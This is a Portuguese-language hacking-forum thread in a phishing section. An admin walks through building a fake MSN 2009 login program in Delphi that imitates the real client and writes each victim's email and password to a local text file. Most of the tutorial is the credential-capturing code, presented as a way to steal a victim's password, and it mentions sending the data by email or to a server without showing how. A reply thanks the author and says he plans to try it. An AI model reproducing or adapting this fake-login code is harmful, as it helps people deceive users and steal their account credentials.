[tutorial] soft fake basico

Postagem de conteúdo sobre engenharia social
Post Reply
User avatar
Kodo no Kami
Admin
Admin
Posts: 725
Joined: Fri Jan 02, 2015 1:56 pm
Contact:

[tutorial] soft fake basico

Post by Kodo no Kami » Sat Apr 04, 2015 10:50 pm

bom galera nesse tutorial vou ensinar como criar um software fake ele vai ser parecido com original so q vai capturar e armazenar a senha da vitima (no caso vc poderia fazer ele enviar via email ou mandar para um servidor so q eu nao vou ensinar isso nao), entao vamos la o programa fake q eu vou criar vai ser o msn 2009 veja um print dele (esse e o verdadeiro)

Image

com print do programa em maos agente recorta apenas a imagem do programa e salva

Image

ate aq foi a parte facil agora vem a parte chata abra o delphi nele, deixe o form um pouco maior q o msn por causa da aba de titulo q agente vai remover

Image

coloque um componete image da aba Additional na propriedade dele coloque em align alClient e stretch coloque true, depois em picture localize a imagem do msn e coloque ela,

Image

como esse tutorial e basico nao vou me focar muito nos detalhes, recorte o x da parte q fecha o msn e coloque outro componete image nele carregue a imagem do x e coloque na posiçao certa em cima da imagem(isso pq agente vai usar a imagem do x para funcionar como se fosse um botao)

Image

depois de dois clicks na imagem do x e digite a funçao close;

Code: Select all

procedure TForm1.Image2Click(Sender: TObject);
begin
   close;
end;
agora na propriedade do form vc procura BorderStyle e muda ele para bsNone, agora colocamos um componente ComboBox da aba Standard em cima da onde digitamos email e um edit em cima da onde digitamos a senha (para aparecer * quando digita coloque * na propriedade PasswordChar) nao se esqueça de apagar o Text

Image

agora vamos fazer a ultima parte nas imagens (ultima no tutorial mais se vc quiser q fique maneiro recomendo mudar tudo no fake), crie mais um componente image agora vai ser para o botao Entrar

Image

agora vamos para parte dos codigos *-* , de dois clicks na imagem do entrar la dentro agente cria uma variavel do tipo textfile

Code: Select all

procedure TForm1.Image3Click(Sender: TObject);
var arq : TextFile;
begin

end;
agora usamos a codiçao if dentro dela usamos not e a funçao fileexists nessa funçao passamos o nome do arquivo de texto q vai salvar, depois dentro de um bloco begin e end colocamos a funçao filecreate passando como argumento o nome do arquivo de texto

Code: Select all

procedure TForm1.Image3Click(Sender: TObject);
var arq : TextFile;
begin
   if(not FileExists('fts.txt')) then
   begin
      FileCreate('fts.txt');
   end;
end;
usamos a funçao assignfile e passamos como argumento a variavel textfile e nome do arquivo de texto

Code: Select all

procedure TForm1.Image3Click(Sender: TObject);
var arq : TextFile;
begin
   AssignFile(arq,'fts.txt');
end;
depois usamos a funçao reset e append dentro delas passamos como argumento nossa variavel textfile

Code: Select all

procedure TForm1.Image3Click(Sender: TObject);
var arq : TextFile;
begin
   if(not FileExists('fts.txt')) then
   begin
      FileCreate('fts.txt');
   end;
   AssignFile(arq,'fts.txt');
   Reset(arq);
   Append(arq);
end;
explicando o codigo anterior ele vai checar para ver ser existe o arquivo de texto caso nao existe ele cria o arquivo e depois abre com permiçao de escrita concatenando ele, agora usamos a funçao writeln passamos como argumento a variavel textfile depois a string 'email: ' + pchar(ComboBox1.Text)

Code: Select all

procedure TForm1.Image3Click(Sender: TObject);
var arq : TextFile;
    fts : string;
begin
   if(not FileExists('fts.txt')) then
   begin
      FileCreate('fts.txt');
   end;
   AssignFile(arq,'fts.txt');
   Reset(arq);
   Append(arq);
   writeln(arq,'email: ' + pchar(ComboBox1.Text));
end;
e por fim usamos writeln denovo mais agora salvamos 'senha: ' + pchar(edit1.text), e fechamos o arquivo com closefile passamos como argumento a variavel textfile

Code: Select all

procedure TForm1.Image3Click(Sender: TObject);
var arq : TextFile;
    fts : string;
begin
   if(not FileExists('fts.txt')) then
   begin
      FileCreate('fts.txt');
   end;
   AssignFile(arq,'fts.txt');
   Reset(arq);
   Append(arq);
   writeln(arq,'email: ' + pchar(ComboBox1.Text));
   writeln(arq,'senha: ' + pchar(Edit1.Text));
   CloseFile(arq);
end;
bom galera meu programa fico meio ruim na imataçao mais se vcs fizer direito copiando cada parte certo fica show *-*

imagem final do programa fake do msn ^^

Image

by kodo no kami
Image

que desagradavel ~ mirai kuriyama

User avatar
51M0N
Admin
Admin
Posts: 874
Joined: Fri Jan 02, 2015 2:06 pm

Re: [tutorial] soft fake basico

Post by 51M0N » Sun Apr 05, 2015 8:51 am

q doido mano, depois vou tentar brincar com isso =), valeu por compartilhar ... :D
Image
"Você, eu, nem ninguém vai bater tão duro como a vida. Mas não se trata de bater duro. Se trata de quanto você aguenta apanhar e seguir em frente (...). É assim que se consegue vencer." by Rocky Balboa

Post Reply

Return to “Engenharia Social / Phishing”